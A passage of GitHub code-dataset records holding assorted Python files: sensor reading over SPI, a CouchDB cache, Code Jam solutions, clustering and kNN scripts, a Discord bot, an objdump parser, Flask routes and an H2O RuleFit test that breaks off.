super(ClipCaptioner, self).train(mode)\n self.gpt.eval()\n return self","repo_name":"feizc/ClipCap","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7637,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34683481682","text":"\"\"\"\nUse the sensor drivers to read the BME680 and LSM9DS1 sensors\n\"\"\"\n\nfrom spidev import SpiDev\nfrom chip_select import ChipSelect\nfrom bme680 import BME680\nfrom lsm9ds1 import LSM9DS1_AG\n\n\ndef main():\n cs= ChipSelect()\n cs.begin()\n spi = SpiDev()\n spi.open(0, 0)\n # Allowed SPI from table at https://www.takaitra.com/spi-device-raspberry-pi/\n allowed_spi_spd = [125_000_000,\n 62_500_000,\n 31_200_000,\n 15_600_000,\n 7_800_000,\n 3_900_000,\n 1_953_000,\n 976_000,\n 488_000,\n 244_000,\n 122_000,\n 61_000,\n 30_500,\n 15_200,\n 7_629]\n\n spi.max_speed_hz = 3_900_000\n spi.mode = 0b00\n cs.set_addr(2)\n bme = BME680(spi)\n print(f'Chip ID (should be 0x61): 0x{bme.whoami():02x}')\n bme.begin()\n ag = LSM9DS1_AG(spi)\n cs.set_addr(0)\n print(f'Chip ID (should be 0x68): 0x{ag.whoami():02x}')\n ag.begin()\n while True:\n cs.set_addr(2)\n print(bme.wait_ready())\n rP, P, dP, rT, T, dT, rh, h, dh = bme.query()\n print(\n f'P: raw {rP:6d}, cal {P:.1f} Pa, d {dP:.4e}Pa T: raw {rT:6d}, cal {T:.4f}degC, d {dT:.4e}degC h: raw {rh:6d}, cal {h:.3f} %, d {dh:.4e}%')\n cs.set_addr(0)\n status_g,T,gx,gy,gz,ax,ay,az = ag.query()\n print(f'status_g: 0b{status_g:08b} T: {T:6d} gx: {gx:6d} gy: {gy:6d} gz: {gz:6d} ax: {ax:6d} ay: {ay:6d} az: {az:6d}')\n\nif __name__==\"__main__\":\n main()","repo_name":"kwan3217/py_spi_sensors","sub_path":"read_sensors.py","file_name":"read_sensors.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11016614078","text":"import couchdb\nfrom django.conf import settings\nfrom django.core.cache import caches, InvalidCacheBackendError\n\nimport exceptions\n\nDEFAULT_CACHE_TTL = getattr(settings, 'COUCHDB_CACHE_TTL', 3600)\n\n\nclass CouchDBCache(object):\n\n MODULE_PREFIX = 'cdc'\n\n def __init__(self, cache, db, cache_ttl=-1):\n try:\n self._cache = caches[cache]\n except InvalidCacheBackendError:\n raise exceptions.BadConfigurationError('Invalid cache backend: %s' % cache)\n self._cache_ttl = cache_ttl if cache_ttl != -1 else DEFAULT_CACHE_TTL\n\n self._db = couchdb.Database(db)\n self._build_cache_prefix(db)\n\n def get(self, id):\n doc = self._read_from_cache(id)\n if doc is None:\n doc = self._read_from_db(id)\n self._store_in_cache(id, doc)\n\n return doc\n\n def set(self, doc, invalidate=False):\n if not isinstance(doc, dict):\n raise exceptions.InvalidDocumentError('Expected dict, received \"%s\"' % type(doc))\n\n if invalidate and doc.get('_id'):\n self.invalidate(doc.get('_id'))\n\n self._store_in_db(doc)\n\n def invalidate(self, id):\n try:\n self._cache.delete(self._build_cache_key(id))\n except Exception:\n raise exceptions.WriteError()\n\n def _build_cache_prefix(self, db):\n db_name_parts = db.split('/')\n if len(db_name_parts) > 1:\n db_name = db_name_parts[-1]\n else:\n raise exceptions.BadConfigurationError('Wrong CouchDB database url: %s' % db)\n\n self._cache_prefix = '%s:%s:' % (self.MODULE_PREFIX, db_name)\n\n def _build_cache_key(self, id):\n return self._cache_prefix + id\n\n def _read_from_cache(self, id):\n try:\n return self._cache.get(self._build_cache_key(id))\n except Exception:\n raise exceptions.ReadError()\n\n def _store_in_cache(self, id, doc):\n try:\n self._cache.set(self._build_cache_key(id), doc, self._cache_ttl)\n except Exception:\n raise exceptions.WriteError()\n\n def _read_from_db(self, id):\n try:\n return self._db.get(id)\n except couchdb.ResourceNotFound:\n raise exceptions.BadConfigurationError('CouchDB database not found')\n\n def _store_in_db(self, doc):\n try:\n self._db.save(doc)\n except couchdb.ResourceNotFound:\n raise exceptions.BadConfigurationError('CouchDB database not found')\n","repo_name":"shuttlecloud/django-couchdb-cache","sub_path":"couchdb_cache/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23514036781","text":"__author__ = 'pavlovick'\n\ndef stringAsBase(listNumber, base):\n baseNumber=0\n position = len(listNumber)-1\n for digit in listNumber:\n baseNumber= baseNumber+ int(digit) * (base**position)\n position = position -1\n return baseNumber\n\ndef artworksCleaning(K, C, S):\n tilesToBeCleaned=[]\n if C>K:\n C=K\n minimumAttempt = K/C\n if minimumAttempt>S:\n return 'IMPOSSIBLE'\n else:\n path=[]\n for attempt in range(0,minimumAttempt):\n tilesToBeCleaned.append(stringAsBase(range(C*attempt, C*(attempt+1)),K)+1)\n remainder = K%C\n for tiles in range(remainder, 0, -1):\n tilesToBeCleaned.append(K-tiles+1)\n return ' '.join(map(str, tilesToBeCleaned))\n\n\nsolution = open('solution.txt', 'w')\nwith open('test.txt') as f:\n N= int(f.readline())\n count = 1\n for line in f:\n inputValues = line.split()\n result = artworksCleaning(int(inputValues[0]), int(inputValues[1]), int(inputValues[2]))\n newLine = 'Case #'+ str(count) +': '+ result +'\\n'\n solution.write(newLine)\n count +=1\n\n\n\n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_180/1318.py","file_name":"1318.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"261135968","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Nov 24 22:02:08 2019\r\n\r\n@author: Y Gaurav Reddy\r\n\"\"\"\r\nimport os\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.preprocessing import Imputer\r\nfrom sklearn.preprocessing import normalize\r\nfrom sklearn import decomposition\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.cluster import KMeans \r\n\r\n\r\n#py 1st file commit\r\nwater_treatment = pd.read_csv(\"C:/Users/Y Gaurav Reddy/Documents/GitHub/Clustering-analysis.git/trunk/water-treatment.data\", header = None)\r\ndf=pd.DataFrame(water_treatment)\r\ndf.drop(df.columns[0], inplace = True, axis = 1) #dropping the 1st coloumn as we dont need it (its just date)\r\n\r\ndf.columns = [\"Q_E\", \"ZN_E\", \"PH_E\", \"DBO_E\", \"DQO_E\", \"SS_E\", #rename cols for understanding\r\n \"SSV_E\", \"SED_E\", \"COND_E\", \"PH_P\", \"DBO_P\", \"SS_P\", \"SSV_P\", \"SED_P\", \"COND_P\",\r\n \"PH_D\", \"DBO_D\", \"DQO_D\", \"SS_D\", \"SSV_D\", \"SED_D\", \"COND_D\", \"PH_S\", \"DBO_S\",\r\n \"DQO_S\", \"SS_S\", \"SSV_S\", \"SED_S\", \"COND_S\", \"RD_DBO_P\", \"RD_SS_P\", \"RD_SED_P\",\r\n \"RD_DBO_S\", \"RD_DQO_S\", \"RD_DBO_G\", \"RD_DQO_G\", \"RD_SS_G\", \"RD_SED_G\"]\r\ndf=df.replace(\"?\",np.NaN)\r\n\r\nprint(df.isnull().sum()) #see number of missing values\r\nvalues=df.values\r\nimputer=Imputer()\r\ntransformed_values = imputer.fit_transform(values) #we have filled the missing values with means of col\r\n# count the number of NaN values in each column\r\nprint(np.isnan(transformed_values).sum()) # should be ==0\r\n\r\n#Begin normalizing dataset\r\n#we plane to normalize every sample induvidually\r\n#we normalize everything to a value between 0 and 1 based on description in the readme file\r\nwaterData_clean= normalize(transformed_values) \r\n\r\n\r\n#Applying PCA\r\nplt.figure()\r\npca = decomposition.PCA(n_components=2) #come to this conclusion\r\nwaterData_pc = pca.fit_transform(waterData_clean)\r\nwaterData_pc.shape\r\nplt.plot((pca.explained_variance_ratio_))\r\nplt.grid()\r\nplt.minorticks_on()\r\nplt.grid(which='minor', linestyle=':', linewidth='0.5', color='black')\r\n#plt.set_ylim(ymin=0)\r\nplt.grid(which='major', linestyle='-', linewidth='0.5', color='red')\r\nplt.plot(np.cumsum(pca.explained_variance_ratio_))\r\nplt.xlabel('number of components')\r\nplt.ylabel('explained variance');\r\ncost =[] \r\nfor i in range(2, 20): \r\n KM = KMeans(n_clusters = i,random_state=i, init='k-means++') \r\n KM.fit(waterData_pc) \r\n \r\n # calculates squared error \r\n # for the clustered points \r\n \r\n \r\n cost.append(KM.inertia_) \r\n \r\n\r\n \r\n# Get the cluster labels\r\n\r\nprint(\"\\nKnn computed successfully\\n\")\r\n\r\n\r\n\r\n# plot the cost against K values \r\nfrom kneed import KneeLocator #THIS ISA NEW PACKAGE TO LOCATE THE KNEE POINT\r\nkn = KneeLocator(range(2, 20), cost, curve='convex', direction='decreasing')\r\noptimum_K= (kn.knee)\r\n\r\n\r\nprint(optimum_K)\r\n\r\nplt.figure()\r\nplt.xlabel('number of clusters k')\r\nplt.ylabel('Sum of squared distances')\r\nplt.grid()\r\nplt.minorticks_on()\r\nplt.grid(which='minor', linestyle=':', linewidth='0.5', color='black')\r\nplt.grid(which='major', linestyle='-', linewidth='0.5', color='red')\r\nplt.plot(range(2,20), cost, 'bx-')\r\nplt.vlines(kn.knee, plt.ylim()[0], plt.ylim()[1], linestyles='dashed')\r\n\r\nKM = KMeans(n_clusters = optimum_K, init='k-means++') #THIS IS TO RUN THE K MEANS WITH AN OPTIMUM number of CLUSTERS\r\nKM.fit(waterData_pc) \r\ny_kmeans = KM.predict(waterData_pc)\r\n\r\nplt.figure()\r\nplt.scatter(waterData_pc[:, 0], waterData_pc[:, 1], c=y_kmeans, s=50, cmap='viridis')\r\n\r\ncenters = KM.cluster_centers_\r\nplt.scatter(centers[:, 0], centers[:, 1], c='black', s=200, alpha=0.5);\r\n\r\nplt.figure()\r\nplt.scatter(waterData_pc[:,0\r\n ],waterData_pc[:,1],alpha=.1, color='black')\r\n \r\nif os.path.isfile('ModiKnn_PCA_outputFile.txt'): #checks is the output file exists and if its previously present it removes it \r\n os.remove(\"ModiKnn_PCA_outputFile.txt\") #and helps removing it making a new file\r\n print(\"File Removed! A new file will be created with the KNN output \\n\")\r\n\r\n\r\nfor i in range(len(KM.labels_)):\r\n f = open(\"ModiKnn_PCA_outputFile.txt\", \"a\")\r\n f.write(str(i+1)+\" \"+str(KM.labels_[i])+\"\\n\")\r\n\r\nf.close()\r\nprint(\"Output File created\") ","repo_name":"Gaurav-Reddy/Clustering-analysis","sub_path":"Knn_afterPCA.py","file_name":"Knn_afterPCA.py","file_ext":"py","file_size_in_byte":4260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1099999146","text":"# Importation\nimport discord\nimport os\nimport dotenv\nfrom datetime import datetime\nfrom discord.utils import get\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\n\n# Start Message\nprint(\"Start...\")\n\n# Creation BOT\nbot = discord.Client()\n\n# Creation préfix\nbot = commands.Bot(command_prefix='&')\n\nload_dotenv()\n\n# Bot On\n@bot.event\nasync def on_ready():\n print(\"Bot ON\")\n print(\"Version : 1.0.1\")\n\n@bot.command()\nasync def load(ctx, extension):\n bot.load_extension(f'cogs.{extension}')\n\n@bot.command()\nasync def unload(ctx, extension):\n bot.unload_extension(f'cogs.{extension}')\n\nfor filename in os.listdir('./cogs'):\n if filename.endswith('.py'):\n bot.load_extension(f'cogs.{filename[:-3]}')\n\n# Installation du token de connection\njeton = os.getenv('DISCORD_TOKEN')\n\n# Connection au serveur\nbot.run(jeton)","repo_name":"Mx-Plume/Discord_Bot_ToDo","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23576778341","text":"# python 3.6\nimport numpy as np\nimport math\nimport networkx as nx\nimport fractions\nfrom functools import reduce\nimport time\nimport fileinput\nimport multiprocessing\n\n\ndef read():\n n, m = next_int()\n cake = []\n for i in range(n):\n cake.append(next_line())\n return n, m, cake\n\ndef solve(inp):\n n, m, cake = inp\n newcake = []\n res = \"\"\n for row in cake:\n newrow = \"\"\n for i in range(len(row)):\n if row[i] == '?':\n newrow += helper(row, i)\n else:\n newrow += row[i]\n newcake.append(newrow)\n newcake2 = []\n for i in range(len(newcake)):\n newcake2.append(helper2(newcake, i))\n for r in newcake2:\n res += \"\\n\" + r\n return res\n\n\n\ndef helper(row: str, i):\n c = i\n while c< len(row) and row[c] == '?':\n c+=1\n if c == len(row):\n c-=1\n while c>=0 and row[c] == '?':\n c-=1\n if c==-1:\n return '?'\n return row[c]\n\ndef helper2(cake, i):\n c = i\n while c< len(cake) and cake[c][0] == '?':\n c+=1\n if c == len(cake):\n c-=1\n while c>=0 and cake[c][0] == '?':\n c-=1\n return cake[c]\n\n\ndef main():\n t = next_int() # read a line with a single integer\n inputs = []\n for case_number in range(1, t + 1):\n inputs.append(read())\n k = multiprocessing.cpu_count()\n p = multiprocessing.Pool(k)\n outputs = list(map(solve, inputs))\n for case_number, res in enumerate(outputs):\n print(\"Case #{}: {}\".format(case_number + 1, res))\n\n\ndef is_in_map(i, j, m, n):\n return 0 <= i < m and 0 <= j < n\n\n\ndef create_file_line_iterator():\n for line in fileinput.input():\n yield line\n\n\ndef next_line():\n return next(fileLineIterator).strip()\n\n\ndef next_int():\n next_ints_line = next_line().split()\n return [int(s) for s in next_ints_line] if len(next_ints_line) > 1 else int(next_ints_line[0])\n\n\nclass MyFraction(object):\n def __init__(self, n, d):\n if d == 0:\n self.npa = np.nan\n else:\n gcd = math.gcd(n, d)\n gcd *= 1 if d > 0 else -1\n n1, d1 = n // gcd, d // gcd\n self.npa = np.array([n1, d1], dtype=np.int64)\n\n def __eq__(self, other):\n return self.npa[0] == other.npa[0] and self.npa[1] == other.npa[1]\n\n def __cmp__(self, other):\n r = self.npa[0] * other.npa[1] - self.npa[1] * other.npa[0]\n if r < 0:\n return -1\n if r > 0:\n return 1\n return 0\n\n def __lt__(self, other):\n return self.npa[0] * other.npa[1] - self.npa[1] * other.npa[0] < 0\n\n def __le__(self, other):\n return self.npa[0] * other.npa[1] - self.npa[1] * other.npa[0] <= 0\n\n\nfileLineIterator = create_file_line_iterator()\nif __name__ == '__main__':\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_203/94.py","file_name":"94.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31523686631","text":"from domain.entities import Carte\r\nfrom random import randint\r\nfrom errors.exceptions import ValidationException, RepoException\r\n\r\nclass ServiceCarte:\r\n \"\"\"\r\n Use case coordinator for CRUD Operations on books\r\n \"\"\"\r\n \r\n def __init__(self,repo_carte,valid_carte):\r\n self.__repo_carte=repo_carte\r\n self.__valid_carte=valid_carte\r\n\r\n \r\n def add_carte(self, id_carte, titlu, descriere, autor):\r\n \"\"\"\r\n Store a book\r\n id_carte - int\r\n titlu, descriere, autor of the book as strings\r\n raise RepoException if a book with this id already exists\r\n raise ValidationException if the book is invalid\r\n \"\"\"\r\n carte=Carte(id_carte,titlu,descriere,autor)\r\n self.__valid_carte.valideaza(carte)\r\n self.__repo_carte.store(carte)\r\n\r\n \r\n def get_no_carte(self):\r\n \"\"\"\r\n Getter for number of books\r\n \"\"\"\r\n return len(self.__repo_carte)\r\n \r\n def get_carti(self):\r\n \"\"\"\r\n Getter for list of books\r\n \"\"\"\r\n return self.__repo_carte.get_all()\r\n \r\n def update_carte(self, id_carte, titlu, descriere, autor):\r\n \"\"\"\r\n Update a book\r\n id_carte - int\r\n titlu, descriere, autor of the book as strings\r\n raise RepoException if we do not have a book with the id mentioned\r\n raise ValidationException if the book is invalid\r\n \"\"\"\r\n carte=Carte(id_carte,titlu,descriere,autor)\r\n self.__valid_carte.valideaza(carte)\r\n self.__repo_carte.update(carte)\r\n\r\n \r\n def remove_carte(self,id_carte):\r\n \"\"\"\r\n Removes a book\r\n id_carte - int\r\n raise RepoException if we do not have a book with the id mentioned\r\n \"\"\"\r\n self.__repo_carte.remove(id_carte)\r\n\r\n \r\n def search_id(self,id_carte):\r\n \"\"\"\r\n Searches a book after id\r\n id_carte - int\r\n raise RepoException if we do not have a book with the id mentioned\r\n \"\"\"\r\n return self.__repo_carte.search_id(id_carte)\r\n\r\n \r\n def search_titlu(self,titlu_carte):\r\n \"\"\"\r\n Searches a book after title\r\n titlu_carte - string\r\n raise RepoException if we do not have a book with the title mentioned\r\n \"\"\"\r\n return self.__repo_carte.search_titlu(titlu_carte)\r\n\r\n \r\n def search_autor(self,autor_carte):\r\n \"\"\"\r\n Searches a book after author\r\n autor_carte - string\r\n raise RepoException if we do not have a book with the author mentioned\r\n \"\"\"\r\n return self.__repo_carte.search_autor(autor_carte)\r\n \r\n def generate_carti(self,nr_carti):\r\n \"\"\"\r\n Generates books\r\n nr_carti - int\r\n \"\"\"\r\n listastring=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\r\n i=0\r\n while i \"+output)\r\n\r\ndef disassembly_range(binary,start,stop,output):\r\n # objdump -M intel --start-address=0x080493c0 --stop-address=0x080493f2 -d unstriped.out | cut -f3\r\n os.system('objdump -M intel --start-address='+str(start)+\" --stop-address=\"+str(stop)+\" -d \"+binary+\" | cut -f3 > \"+output)\r\n\r\ndef parse_range_result(input):\r\n '''\r\n input the range disassembly\r\n output the folder contain the code\r\n '''\r\n code = []\r\n fs = open(input).read()\r\n fs = fs.split(\"\\n\")\r\n header = False \r\n for l in fs:\r\n if len(l)>0 and \"file format\" not in l and \"Disassembly of section\" not in l:\r\n if \"<\" in l and \">:\" in l :\r\n # function dec\r\n if header == False:\r\n tmp = l.split(\"<\")[-1]\r\n tmp = tmp.replace(\">\",\"\")\r\n code.append(tmp)\r\n header = True \r\n elif \"<\" in l and \">\" in l and \":\" not in l :\r\n # call function \r\n tmp = l.split(' <')\r\n code.append(\" \"+tmp[0].split(\" \")[0]+\" \"+tmp[-1].replace(\">\",\"\"))\r\n else:\r\n code.append(\" \"+l)\r\n return code \r\n\r\ndef to_s(input,output):\r\n '''\r\n input filename \r\n output filename\r\n '''\r\n code = []\r\n fs = open(input).read()\r\n fs = fs.split(\"\\n\")\r\n for l in fs:\r\n if len(l)>0 and \"file format\" not in l and \"Disassembly of section\" not in l:\r\n if \"<\" in l and \">:\" in l :\r\n tmp = l.split(\"<\")[-1]\r\n tmp = tmp.replace(\">\",\"\")\r\n code.append(tmp)\r\n elif \"<\" in l and \">\" in l and \":\" not in l :\r\n tmp = l.split(' <')\r\n code.append(\" \"+tmp[0].split(\" \")[0]+\" \"+tmp[-1].replace(\">\",\"\"))\r\n else:\r\n code.append(\" \"+l)\r\n ppp = open(output,'w')\r\n ppp.write(\"\\n\".join(code))\r\n ppp.close()\r\n\r\ndef routine(binary):\r\n '''\r\n Input the path of the binary\r\n Return the parsed .s for the binary \r\n '''\r\n objdump_cache = binary+\".tmp\"\r\n output = binary+\".s\"\r\n disassembly(binary,objdump_cache)\r\n to_s(objdump_cache,output)\r\n return output\r\n\r\n","repo_name":"wwkenwong/Deceiving-DNN-based-Binary-Matching","sub_path":"run_objdump.py","file_name":"run_objdump.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"22588300123","text":"from flask import Blueprint, jsonify\nfrom flask_login import login_required\nfrom app.models import db, User, JournalEntry, Photo, Trip\n\nphoto_routes = Blueprint('trip', __name__)\n\n\n@photo_routes.route('/photos/')\n@login_required\ndef get_photo(photo_id):\n photo = Photo.query.get(photo_id)\n\n if not photo:\n return {}, 404\n photo_json = jsonify({'photo': photo.to_dict()})\n return photo_json\n\n\n@photo_routes.route('/photos/', methods=['POST'])\n@login_required\ndef new_photo():\n data = request.json\n\n try:\n photo = Photo(\n user_id=data['userId'],\n entry_id=data['entryId'],\n photos_url=data['photosUrl']\n )\n db.session.add(photo)\n db.session.commit()\n return {'photo': photo.to_dict()}\n except SQLAlchemyError as e:\n error = str(e.__dict__['orig'])\n print(error)\n return {'errors': ['An error occurred while creating the picture']}, 500\n\n\n@photo_routes.route('/photos/', methods=['DELETE'])\n@login_required\ndef delete_photo(photo_id):\n photo = Photo.query.get(photo_id)\n if photo:\n db.session.delete(photo)\n db.session.commit()\n return {'message': 'Photo was successfully deleted'}\n else:\n return {'errors': 'Photo could not be found'}\n","repo_name":"rhwebster/mapmyroadtrip","sub_path":"app/api/photo_routes.py","file_name":"photo_routes.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"3403741982","text":"import numpy as np\n\ndef distance(p1, p2):\n \"\"\"Find distance between points p1 and p2.\n p1 and p2 must be numpy arrays.\"\"\"\n return np.sqrt(np.sum(np.power(p2 - p1, 2)))\n\nimport random\n\ndef majority_vote(votes):\n \"\"\"\n Return the most common element in votes\n \"\"\"\n vote_counts = {}\n for vote in votes:\n if vote in vote_counts:\n vote_counts[vote] += 1\n else:\n vote_counts[vote] = 1\n \n winners = []\n max_count = max(vote_counts.values())\n for vote, count in vote_counts.items():\n if count == max_count:\n winners.append(vote)\n \n return random.choice(winners)\n\nimport scipy.stats as ss\n\ndef majority_vote_short(votes):\n \"\"\"\n Return the most common element in votes.\n \"\"\"\n mode, count = ss.mstats.mode(votes)\n \n return mode\n\ndef find_nearest_neighbors(p, points, k=5):\n \"\"\"Findthe k nearest neighbors of point p and return their indices\"\"\"\n distances = np.zeros(points.shape[0])\n for i in range(len(distances)):\n distances[i] = distance(p, points[i])\n ind = np.argsort(distances)\n return ind[0:k]\n\ndef knn_predict(p, points, outcomes, k=5):\n ind = find_nearest_neighbors(p, points, k)\n return majority_vote(outcomes[ind])\n\ndef generate_synth_data(n=50):\n \"\"\"Create two sets of points from bivariate normal distributions.\"\"\"\n points = np.concatenate((ss.norm(0,1).rvs((n,2)), ss.norm(1,1).rvs((n,2))),axis=0)\n outcomes = np.concatenate((np.repeat(0,n), np.repeat(1,n)))\n return (points, outcomes)\n#import numpy as np\n#import matplotlib.pyplot as plt\n#import scipy.stats as ss\n#n = 20\n#(points, outcomes) = generate_synth_data(n)\n#plt.figure()\n#plt.plot(points[:n,0], points[:n,1], \"ro\")\n#plt.plot(points[n:,0], points[n:,1], \"bo\")\n#plt.savefig(\"bivardata.pdf\")\n\n\ndef make_prediction_grid(predictors, outcomes, limits, h, k):\n \"\"\"Classify each point on the prediction grid.\"\"\"\n (x_min, x_max, y_min, y_max) = limits\n xs = np.arange(x_min, x_max, h)\n ys = np.arange(y_min, y_max, h)\n xx, yy = np.meshgrid(xs, ys)\n \n prediction_grid = np.zeros(xx.shape, dtype=int)\n for i,x in enumerate(xs):\n for j,y in enumerate(ys):\n p = np.array([x,y])\n prediction_grid[i,j] = knn_predict(p, predictors, outcomes, k)\n \n return (xx, yy, prediction_grid)\n\n#Ejemplo: Flores de Ron Fischer\n\nfrom sklearn import datasets\n\niris = datasets.load_iris()\npredictors = iris.data[:, 0:2]\noutcomes = iris.target\nplt.plot(predictors[outcomes==0][:,0],predictors[outcomes==0][:,1], \"ro\")\nplt.plot(predictors[outcomes==1][:,0],predictors[outcomes==1][:,1], \"go\")\nplt.plot(predictors[outcomes==2][:,0],predictors[outcomes==2][:,1], \"bo\")\nplt.savefig(\"iris.pdf\")\n\n\nk=5; filename=\"iris_grid.pdf\"; limits = (4,8,0.5,4.5); h=0.1\n(xx, yy, prediction_grid) = make_prediction_grid(predictors, outcomes, limits, h, k)\nplot_prediction_grid(xx, yy, prediction_grid, filename)\n\nfrom sklearn.neighbors import KNeighborsClassifier\nknn = KNeighborsClassifier(n_neighbors = 5)\nknn.fit(predictors, outcomes)\nsk_predictions = knn.predict(predictors)\nmy_predictions = np.array([knn_predict(p, predictors, outcomes, 5) for p in predictors])\n#para probar si los métodos coinciden\nprint(100*np.mean(sk_predictions == my_predictions))\n#los dos modelos concuerdan con las observaciones?\nprint(100*np.mean(sk_predictions == outcomes))\nprint(100*np.mean(my_predictions == outcomes)) #This one performs a bit better\n\n","repo_name":"daniela-acosta/python-for-research","sub_path":"kNN_classificator.py","file_name":"kNN_classificator.py","file_ext":"py","file_size_in_byte":3476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72617185155","text":"#! /usr/bin/env python\n\n'''\nScript to a 2D field at particular (i,j) points as specified\nby a text file file. Generalisation of edit_bathy.py but this \nversion allows you to specify ranges of i and j which will \ntake the same value. \n\n@author: Dave Storkey\n@date: Apr 2022\n'''\n\nimport xarray as xr\nimport numpy as np\nimport re\n\ndef field_edit(file_in=None, file_out=None, varname=None, edits_file=None):\n\n with xr.open_dataset(file_in) as indata:\n try:\n nav_lat = indata.nav_lat\n except(AttributeError):\n nav_lat = None\n try:\n nav_lon = indata.nav_lon\n except(AttributeError):\n nav_lon = None\n field = getattr(indata,varname).squeeze()\n\n ii_list=[]\n jj_list=[]\n newvalue_list=[]\n with open(edits_file) as edits:\n for fline in edits:\n # comment lines begin with # or !\n if not re.search(\"^[#!]\",fline):\n if \"-\" in fline.split(\",\")[0]: # specifying a range for i\n istart=fline.split(\",\")[0].split(\"-\")[0]\n iend=fline.split(\",\")[0].split(\"-\")[1]\n ii=np.array([i for i in range(int(istart),int(iend)+1)])\n else:\n ii=np.array([int(fline.split(\",\")[0])])\n if \"-\" in fline.split(\",\")[1]: # specifying a range for j\n jstart=fline.split(\",\")[1].split(\"-\")[0]\n jend=fline.split(\",\")[1].split(\"-\")[1]\n jj=np.array([j for j in range(int(jstart),int(jend)+1)])\n else:\n jj=np.array([int(fline.split(\",\")[1])])\n broadcast_multiplier=np.ones((len(ii),len(jj))).astype(int)\n ii=(ii*broadcast_multiplier.transpose()).transpose()\n jj=jj*broadcast_multiplier\n ii_list = ii_list + ii.flatten().tolist()\n jj_list = jj_list + jj.flatten().tolist()\n newvalue_list = newvalue_list + [fline.split(\",\")[2]]*len(ii.flatten().tolist())\n\n for ii,jj,newvalue in zip(ii_list,jj_list,newvalue_list):\n print(\"ii,jj,newvalue : \",ii,jj,newvalue)\n newvalue=float(newvalue)\n print(\"old value : \",field.values[jj,ii])\n field.values[jj,ii] = newvalue\n print(\"new value : \",field.values[jj,ii])\n\n outdata = field.to_dataset() \n if nav_lat is not None and nav_lon is not None:\n outdata.update({'nav_lat':nav_lon ,\n 'nav_lat':nav_lon })\n\n outdata.to_netcdf(file_out)\n \nif __name__==\"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", \"--file_in\", action=\"store\",dest=\"file_in\",\n help=\"input file\")\n parser.add_argument(\"-o\", \"--file_out\", action=\"store\",dest=\"file_out\",\n help=\"output file\")\n parser.add_argument(\"-v\", \"--varname\", action=\"store\",dest=\"varname\",\n help=\"name of variable to edit\")\n parser.add_argument(\"-e\", \"--edits_file\", action=\"store\",dest=\"edits_file\",\n help=\"file specifying editing to do\")\n\n args = parser.parse_args()\n\n field_edit(file_in=args.file_in,file_out=args.file_out,varname=args.varname,\n edits_file=args.edits_file)\n\n","repo_name":"JMMP-Group/GLOBAL_BATHYMETRY","sub_path":"src/edit_field.py","file_name":"edit_field.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23630018821","text":"import sys\nimport os\n\n\ndef main():\n f = open('A-small-attempt1.in', 'r')\n answer = open('answer.txt', 'r+')\n f.readline()\n n = 1\n source = 'ejp mysljylc kd kxveddknmc re jsicpdrysi rbcpc ypc rtcsra dkh wyfrepkym veddknkmkrkcd de kr kd eoya kw aej tysr re ujdr lkgc jv y e q z'\n target = 'our language is impossible to understand there are twenty six factorial possibilities so it is okay if you want to just give up a o z q'\n lookup = {}\n for i in range(0,len(source)):\n lookup[source[i]] = target[i] \n #print i\n #print lookup\n for line in f:\n target = ''\n line = line[:-1]\n for i in range(0,len(line)):\n target += lookup[line[i]]\n s = 'Case #%d: %s\\n' % (n,target)\n answer.write(s)\n n += 1\n\n\nif __name__ == '__main__':\n\tmain()\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_95/1213.py","file_name":"1213.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13349602724","text":"import sys\nsys.path.insert(1,\"../../../\")\nimport h2o\nfrom tests import pyunit_utils\nfrom h2o.estimators.rulefit import H2ORuleFitEstimator\n\n\ndef football():\n df = h2o.import_file(\"https://h2o-public-test-data.s3.amazonaws.com/mli-testing/manual-test/small-dataset/binomial/football_prediction.csv\")\n df[\"FTR\"] = df[\"FTR\"].asfactor()\n x = df.columns\n y = \"FTR\"\n x.remove(y)\n x.remove(\"Date\")\n\n # Split the dataset into train and test\n train, test = df.split_frame(ratios=[.8], seed=1234)\n\n rfit = H2ORuleFitEstimator(min_rule_length=1, max_rule_length=3, max_num_rules=10, seed=1234, model_type=\"rules_and_linear\")\n rfit.train(training_frame=train, x=x, y=y, validation_frame=test)\n\n df[y] = df[y].append_levels([\"extra_level\"])\n\n # Split the dataset into train and test\n train, test = df.split_frame(ratios=[.8], seed=1234)\n\n rfit_multi = 